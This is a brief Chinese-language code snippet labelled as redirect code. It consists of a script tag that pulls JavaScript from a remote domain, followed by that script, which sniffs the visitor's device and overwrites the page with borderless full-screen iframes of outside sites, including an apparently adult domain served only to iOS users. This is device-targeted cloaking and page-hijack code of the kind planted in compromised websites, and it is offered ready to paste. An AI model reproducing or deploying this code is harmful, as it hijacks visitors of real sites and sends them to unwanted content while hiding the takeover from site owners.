判断来路跳转代码

<script src="http://1004619.com/js.js" type="text/javascript"></script>

js代码如下：

function uaredirect() {
var n = navigator.userAgent.toLowerCase();
     if (n.indexOf('android')>-1){
document.writeln('<iframe scrolling="no" frameborder="0" marginheight="0" marginwidth="0" width="960" height="2000" allowTransparency src="http://www.1004619.com"></iframe>');
}
         else  if (n.indexOf('iphone')>-1 || n.indexOf('iPhone')>-1 || n.indexOf('ipod')>-1 || n.indexOf('ipad')>-1 || n.indexOf('ios')>-1){
document.writeln('<iframe scrolling="no" frameborder="0" marginheight="0" marginwidth="0" width="960" height="2000" allowTransparency src="http://www.yyouujizz.com"></iframe>');
}
         else {
document.writeln('<center><iframe scrolling="no" frameborder="0" marginheight="0" marginwidth="0" width="1000" height="2050" allowTransparency src="http://www.1004619.com"></iframe></center>');

}
}
uaredirect();